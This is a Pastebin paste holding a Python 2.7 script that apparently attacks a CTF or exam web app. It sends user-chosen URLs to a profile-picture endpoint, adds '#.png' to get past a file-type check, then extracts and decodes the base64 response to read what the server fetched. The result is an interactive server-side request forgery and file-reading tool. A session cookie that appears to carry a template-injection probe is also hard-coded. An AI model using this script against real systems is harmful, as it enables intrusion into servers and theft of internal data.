Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python2.7
- # dont judge me lol
- import requests, re, base64, pydoc
- url = "https://jp-mysql.gw34908723to.ext.exam.ns.agency/profile"
- s = requests.Session()
- s.cookies['session'] = "eyJ1c2VyIjoie3s0KjR9fSJ9.Df0y4w.d0xNDeC-CGgzC8xgtM71JanWNnY"
- while (1):
- print "========================================================================================"
- i = raw_input("Next request: ")
- print "Using: " + str(i) + " (Automatically adding the #.png at the end)"
- d = {"profile_picture_url":str(i)+"#.png"}
- r = s.post(url, data=d)
- res = r.text
- if("Profile updated" not in res):
- if("recognised image filetype" in res): print ">> Not a recognised image filetype"
- elif("does not resolve" in res): print ">> Does not resolve"
- elif("Failed to parse" in res): print ">> Failed to parse"
- elif("schema" in res): print ">> Failed to process the schema"
- elif("No connection adapters" in res): print ">> No connection adapters found"
- elif("Connection refused" in res): print ">> Connection refused"
- else:
- print res
- print ">> Input failed to upload properly, try again."
- continue
- #if the upload worked
- print "*** Success ***"
- print "=> Extracting base64 ..."
- based64 = re.search("data:image/jpeg;base64,([^\"]*)",res)
- try:
- based64 = based64.group(1)
- except Exception as e:
- print str(e)
- continue
- print "=> Decoding base64 ..."
- decode = base64.b64decode(based64)
- print "=> Showing result ..."
- #open pager for viewing
- pydoc.pager(decode)
Advertisement
Add Comment
Please, Sign In to add comment